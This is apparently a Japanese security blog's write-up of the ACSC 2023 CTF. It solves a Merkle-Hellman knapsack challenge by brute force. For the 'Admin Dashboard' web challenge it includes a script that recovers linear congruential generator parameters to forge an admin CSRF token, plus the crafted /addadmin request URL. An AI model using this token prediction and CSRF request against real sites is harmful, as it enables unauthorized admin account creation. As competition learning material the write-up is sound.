甘めな技術。

セキュリティ多めの甘めな技術ブログ

ACSC 2023 Writeup

101th(global: 140 th)でした。

骨のある問題が多く中々解けなかった。

解けたのは (Welcome), Merkle Hellman, Admin Dashboardのみ。

うーむ。ガチ勢とのレベル差を実感したね。

Writeup

Welcome

discordにある。

ACSC{W3lc0m3_t0_ACSC_2023_g00d_luck!}

Merkle Hellman

ja.wikipedia.org

これかな?

平文に対して、(26 >> i) == 1であるPublicKey[i]の合計を求める感じ。

前提知識ないままコード読んでflag取ってしまったので、結構効率悪いと思う。 実際Private Key使ってないしね。

# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
(w, q) = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

result = []
for s in c:
    flag = 0
    for i in range(7):
        for v in itertools.permutations(b, i):
            sum = 0
            for vv in v:
                sum += vv
            if sum == s:
                flag = 1
                result.append(v)
                break
        if flag == 1:
            break

print(result)
flag = ''
for r in result:
    ascii = 0
    for v in r:
        ascii |= (64 >> b.index(v))
    flag += chr(ascii)
print (flag)
ACSC{E4zY_P3@zy}

頑張れば手動でも行けそうだなと思った。

Admin Dashboard

admin-dashboard

reportページから、admin権限でgetリクエストを飛ばせる。 問題文中でgetリクエストが生きる場面は /addadmin のみなので、ここにリクエストを飛ばして任意のadminユーザを作ればよい。

ただ、csrf-tokenの検証が入るので、tokenを推測しなければならない。

トークンのアルゴリズムは↓

$sql = "SELECT * FROM secrets";
$stmt = $conn->prepare($sql);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
if($row){
    $A = gmp_import($row['A']);
    $C = gmp_import($row['C']);
    $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
}
if (!isset($_SESSION['X'])){
    $X = gmp_import($_SESSION["user"]["username"]);
    $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
    $_SESSION["token-expire"] = time() + 30; 
}else{
    if(time() >= $_SESSION["token-expire"]){
        $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
        $_SESSION["token-expire"] = time() + 30; 
    }
}

数式化するとこうなる。

 \displaystyle
X_{n+1} = (AX_n + C) \bmod M

ただし、AとCは不明。

ちょっと調べてみると線型合同法という乱数生成アルゴリズムで、推測可能らしい事が分かった。

X = []
X.append(0x74657374616d) # <?php echo gmp_strval(gmp_import('testam'), 16); ?>
X.append(0xadbcf226031e752084d83547d0fa1f3d)
X.append(0x2b0546e77c9a59aa216a57eaa822e13f)

Y = []
Y.append(X[1] - X[0])
Y.append(X[2] - X[1])

M  = 0xc4f3b4b3deadbeef1337c0dedeadc0dd

A = Y[1] * pow(Y[0], -1, M)
C = X[1] - A * X[0]

assert X[1] == (A * X[0] + C) % M, "Not eqaul"
assert X[2] == (A * X[1] + C) % M, "Not eqaul"

print(f'A: {hex(A)}')
print(f'C: {hex(C)}')

print()

Xadmin = 0x61646d696e # <?php echo gmp_strval(gmp_import('admin'), 16); ?>
print(f'Token: {hex((A * Xadmin + C) % M)}')

# OUTPUT
# A: -0x179c720dd58f5ae3904ef5e6007583dc476ecefd04f89eb882e9e8eba06e47fe
# C: 0xabc3f0d475670c5f1c45efe04c38954aedcd1691121263d1cd5c75c02928ba964eaa24e0463
#
# Token: 0x5b4b474720175fc8e5fb8f3e4b7266dc

という訳で、投げるべきリクエストは

url=http://localhost/addadmin?username=am2497%26password=password%26csrf-token=5b4b474720175fc8e5fb8f3e4b7266dc

そして、

ACSC{C$rF_15_3VerYwh3Re!}

リクエスト中に&をそのまま書いていて上手くいかないというミスで結構時間を使った。

あと線型合同法のAとCの計算は以下のkurenaifさんの記事を参考にした。動画も分かりやすかった。

zenn.dev

所感

中々悔しい。